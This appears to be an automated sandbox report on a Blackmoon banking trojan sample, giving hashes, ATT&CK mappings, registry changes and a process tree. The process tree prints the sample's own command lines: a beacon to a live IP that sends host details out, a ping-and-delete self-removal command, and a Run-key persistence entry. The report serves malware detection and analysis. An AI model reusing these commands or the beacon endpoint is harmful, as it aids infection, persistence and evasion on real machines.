blackmoon | 9f33cff08e3cd003014617ef7607b5e800ff2bb200b3490334e5d9eefb3a351a

Analysis

max time kernel
93s
max time network
146s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
25-12-2024 17:01

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General

Target

9f33cff08e3cd003014617ef7607b5e800ff2bb200b3490334e5d9eefb3a351a.exe
Size

34KB
MD5

e57f3af1e46055845b6f67820c584011
SHA1

72fa64e73df5148dea2fb5b06c63e87f79ca4deb
SHA256

9f33cff08e3cd003014617ef7607b5e800ff2bb200b3490334e5d9eefb3a351a
SHA512

6fc310e83ad0aad281e93e3ca987f0dcb878d82db42f2995e9fad685ce2ec93f79a98bd7ed05b3d4da3ef00c4f35708a83aa04901e2d1c523ad818d1a96345d2
SSDEEP

768:gxa4PfkczEClQF0QGqwq0E6Na8WFaDrTCMNR8Gx8IPE7BNKSzHctMlC:RQftW0QGq/aabWrTsGx3P6Cbt7

Score

10^/10

blackmoon banker discovery persistence trojan

Malware Config

Signatures

Blackmoon family
blackmoon
Blackmoon, KrBanker
Blackmoon also known as KrBanker is banking trojan first discovered in early 2014.
trojan banker blackmoon

Detect Blackmoon payload 1 IoCs

resource	yara_rule
behavioral2/memory/5056-2-0x0000000000400000-0x0000000000431200-memory.dmp	family_blackmoon

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\YouPin = "C:\\Windows\\system32\\YouPin.exe"	9f33cff08e3cd003014617ef7607b5e800ff2bb200b3490334e5d9eefb3a351a.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\YouPin.exe	9f33cff08e3cd003014617ef7607b5e800ff2bb200b3490334e5d9eefb3a351a.exe
File opened for modification	C:\Windows\SysWOW64\YouPin.exe	9f33cff08e3cd003014617ef7607b5e800ff2bb200b3490334e5d9eefb3a351a.exe

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	9f33cff08e3cd003014617ef7607b5e800ff2bb200b3490334e5d9eefb3a351a.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IEXPLORE.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
3288	cmd.exe
624	PING.EXE

Modifies Internet Explorer settings 1 TTPs 37 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1"	IEXPLORE.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FullScreen = "no"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastTTLLowDateTime = "1251635200"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "31151854"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Microsoft\Internet Explorer\GPU	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Microsoft\Internet Explorer\VersionManager	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\AdminActive\{EDE269C1-C2E1-11EF-AEE2-DEEFF298442C} = "0"	IEXPLORE.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateLowDateTime = "3258976290"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateHighDateTime = "31151854"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 6071eac6ee56db01	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000086445aa8a430244a91c2b800ab210a510000000002000000000010660000000100002000000056bb6130330c50e15311449a9d4cf5b91d7c9b345d418eb9d0b0001eb4642a99000000000e800000000200002000000084d98af7e62c04b5db39d6362e0b7c3a68a9122d757fc8f797560c0ba0cf011720000000f7c901d9601d596fe631fdf3339bc68c11b00014ea937ed1e44370b68dd258e140000000092748bd623420e11493897efd0573fc2805b43c263ff21dc1b547257316ce70296cc923dd56ef5e01e73c5ab5430a7980265350575aa78e7fe776fb47ce5883	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 70d4e0c6ee56db01	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	IEXPLORE.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\SOFTWARE\Microsoft\Internet Explorer\GPU\AdapterInfo = "vendorId=\"0x10de\",deviceID=\"0x8c\",subSysID=\"0x0\",revision=\"0x0\",version=\"10.0.19041.546\"hypervisor=\"No Hypervisor (No SLAT)\""	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "3258976290"	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000086445aa8a430244a91c2b800ab210a510000000002000000000010660000000100002000000024c93a6b11fd90f2571c444d0f2913ad80e47a26619669c331970b90b240846f000000000e8000000002000020000000525992638181b55327ad1d9a7b4378af2d55d8db55f8a14cf13149f6b48ddf0320000000128b5a71003bfa0d21a61df7ed3385de9aacafd33b7b2104165c4f65f11f2adb4000000087040caaa15b53d8d18bd1c2c16cd0acc1c90346330f93ca397b5b7cdb2818ef48c8844944dd0d82a866d0f18ce52fb20f19b5e34e4f4b2f59801a6eca54049c	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\SOFTWARE\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\SOFTWARE\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "441911083"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "31151854"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "3261007815"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Microsoft\Internet Explorer\VersionManager	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastTTLHighDateTime = "50"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	IEXPLORE.EXE

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
624	PING.EXE

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4492	IEXPLORE.EXE

Suspicious use of SetWindowsHookEx 6 IoCs

pid	Process
4492	IEXPLORE.EXE
4492	IEXPLORE.EXE
4092	IEXPLORE.EXE
4092	IEXPLORE.EXE
4092	IEXPLORE.EXE
4092	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 5056 wrote to memory of 4492	5056	9f33cff08e3cd003014617ef7607b5e800ff2bb200b3490334e5d9eefb3a351a.exe	84
PID 5056 wrote to memory of 4492	5056	9f33cff08e3cd003014617ef7607b5e800ff2bb200b3490334e5d9eefb3a351a.exe	84
PID 4492 wrote to memory of 4092	4492	IEXPLORE.EXE	85
PID 4492 wrote to memory of 4092	4492	IEXPLORE.EXE	85
PID 4492 wrote to memory of 4092	4492	IEXPLORE.EXE	85
PID 5056 wrote to memory of 3288	5056	9f33cff08e3cd003014617ef7607b5e800ff2bb200b3490334e5d9eefb3a351a.exe	86
PID 5056 wrote to memory of 3288	5056	9f33cff08e3cd003014617ef7607b5e800ff2bb200b3490334e5d9eefb3a351a.exe	86
PID 5056 wrote to memory of 3288	5056	9f33cff08e3cd003014617ef7607b5e800ff2bb200b3490334e5d9eefb3a351a.exe	86
PID 3288 wrote to memory of 624	3288	cmd.exe	88
PID 3288 wrote to memory of 624	3288	cmd.exe	88
PID 3288 wrote to memory of 624	3288	cmd.exe	88

C:\Users\Admin\AppData\Local\Temp\9f33cff08e3cd003014617ef7607b5e800ff2bb200b3490334e5d9eefb3a351a.exe
"C:\Users\Admin\AppData\Local\Temp\9f33cff08e3cd003014617ef7607b5e800ff2bb200b3490334e5d9eefb3a351a.exe"
1⤵
- Adds Run key to start application
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:5056
- C:\Program Files\Internet Explorer\IEXPLORE.EXE
  "C:\Program Files\Internet Explorer\IEXPLORE.EXE" http://174.139.72.117/ad/get.asp?mac=749C85EC543DDB5B962AB78F93764714&os=Windows 8&avs=unknow&ps=NO.&ver=jack
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:4492
- - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
    "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:4492 CREDAT:17410 /prefetch:2
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies Internet Explorer settings
    - Suspicious use of SetWindowsHookEx
    PID:4092
- C:\Windows\SysWOW64\cmd.exe
  cmd /c ping 127.0.0.1 -n 3&del "C:\Users\Admin\AppData\Local\Temp\9f33cff08e3cd003014617ef7607b5e800ff2bb200b3490334e5d9eefb3a351a.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:3288
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 3
    3⤵
    - System Location Discovery: System Language Discovery
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:624

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Remote System Discovery

T1018

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776

Filesize
471B

MD5
73d8dd7eaa8896905e31f1960f51ece1

SHA1
164e031603e75d95091220c5ff0d695547f6d3ae

SHA256
9ff75ab638fe252bd0d04aea3f0ce38270ffc8df5db9399f9ea45aaef196dddc

SHA512
4879585482992d7ea3ee02775b74592b06daab32a63dc7700dd4da40c45a524f3bcfc2beff928a85563f09ad0438be5b3e458bc3d0cd08ad146d416fec014a04

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776

Filesize
404B

MD5
2ddbce7b1878a9740218b0e1a9eef354

SHA1
4f35c9d2b826d596eb88501213bbf4e8513cf27d

SHA256
b7615dfcb273589cbf4061abcdd64c7e89128bd46bd555f915b0c22d9de88764

SHA512
9617e13fda0d196402c9a4d93997d8829cf12b7ece0db961d0155b2b6dd6cad6e81b2b0b053550f214ac72cb95c335074466fb7422257ea67dad15946439a47d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\FGDWJGSY\suggestions[1].en-US

Filesize
17KB

MD5
5a34cb996293fde2cb7a4ac89587393a

SHA1
3c96c993500690d1a77873cd62bc639b3a10653f

SHA256
c6a5377cbc07eece33790cfc70572e12c7a48ad8296be25c0cc805a1f384dbad

SHA512
e1b7d0107733f81937415104e70f68b1be6fd0ca65dccf4ff72637943d44278d3a77f704aedff59d2dbc0d56a609b2590c8ec0dd6bc48ab30f1dad0c07a0a3ee

Download Submit
memory/5056-0-0x0000000000400000-0x0000000000431200-memory.dmp

Filesize
196KB

Download
memory/5056-2-0x0000000000400000-0x0000000000431200-memory.dmp

Filesize
196KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads